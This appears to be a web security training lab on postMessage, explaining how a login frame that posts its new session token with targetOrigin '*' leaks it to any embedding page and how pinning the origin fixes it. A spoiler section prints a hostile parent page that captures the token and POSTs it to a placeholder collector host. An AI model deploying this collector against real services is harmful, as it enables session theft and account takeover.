The sender's half of the bridge

postMessage
Switch level: Level 1 — targetOrigin "*" (the theft) Level 2 — targetOrigin pinned (the fix)
parent-side listener — whatever arrives, shows here
no services have logged in yet

This is the stolen data, exactly as the lesson alert-ed it: a freshly minted session token leaves the embedded document with nothing gating the receiving end.

the service's announcement (login.html):

  const token = 'tok_' + Math.random().toString(36).slice(2, 12);
  window.parent.postMessage({username: u, token: token}, TARGET);

      level 1 → TARGET = '*'                 (any window may receive)
      level 2 → TARGET = 'https://stuxnet.pro' (pinned — the fix)
Method — the reversed direction, and why it matters
  1. Log in inside the frame (any credentials — the lesson's admin/password are prefilled). The service mints a fresh token per login and announces it upward.
  2. Level 1: the announcement used targetOrigin: '*'. The parent (this page — in the story: attacker-controlled) only needed addEventListener('message', …) — no embed consent, no token permission, no user hint. The log chip now shows the service's username and its freshly minted token, exactly what the lesson's alert popped.
  3. In the classroom the parent is same-origin (us), so the fineprint caveat: pin or no pin, same-origin delivery always happens. The flaw's real teeth are cross-origin: with '*' a hostile parent anywhere embeds iframe src="the service" and receives the same token at first login. Log in once — the token is yours.
  4. Level 2: the service pins its parent 'https://stuxnet.pro'. This page still receives (it legitimately is that origin — same as the lesson's secured lab where the pinned service stopped the foreign domain's parent). Every other origin: silence, browser-enforced, no listener ever triggered.
  5. Severity story: the announced value is a newly minted credential (a token fresh from login = live session material), delivered to a host the login itself never audited. Data-shaped reports anchor themselves — token + login event + attacker-hosted parent = account-takeover-shaped finding.
  6. The two-sided checklist to carry from the discipline: receiving side — validate event.origin exactly (pattern-checked at best, Lab 30); sending side — pin targetOrigin to the one parent you mean, never '*' for anything sensitive (this lab).
Spoiler — the hostile parent, hosted as an attacker would run it
<!-- host anywhere: e.g. https://your-host.test/index.html -->
<iframe src="https://stuxnet.pro/pm/lab31/login.html?level=1" id="svc"></iframe>
<script>
  window.addEventListener('message', e => {
    if (e.data && e.data.token) {
      fetch('https://YOUR-COLLECTOR/save', {
        method: 'POST',
        body: JSON.stringify({origin: e.origin, username: e.data.username,
                              token: e.data.token})
      });
    }
  });
</script>

Same collector habit as the CORS and blind-XSS labs. Note what travels even with the token guarded by event handlers: a service that announces upward with '*' hands username + fresh token to whatever window hosts it — often at the exact moment the victim believes they're logging in.

Spoiler — one-page wrap: the postMessage discipline (labs 28–31)
28  can windows talk?     same-origin: yes · cross-origin: SOP says no · the bridge says yes
29  receiving unchecked    event.data → innerHTML, origin unread   ⇒ XSS
30  receiver checked       strict = the defense · regex = the crack (anchor + dots)
31  sender unchecked       '*' broadcasts to every parent ⇒ token theft · pin to fix

Hunt pattern for a real target, in order: find every https://domain/*?* postMessage( call and every https://domain/*?* addEventListener('message' site; read the pinned target and the read origin, both halves likely broken; the fix line per end is the same discipline as CORS: exact origins, allow-lists, and never trusting a string that a pattern can be abused to match.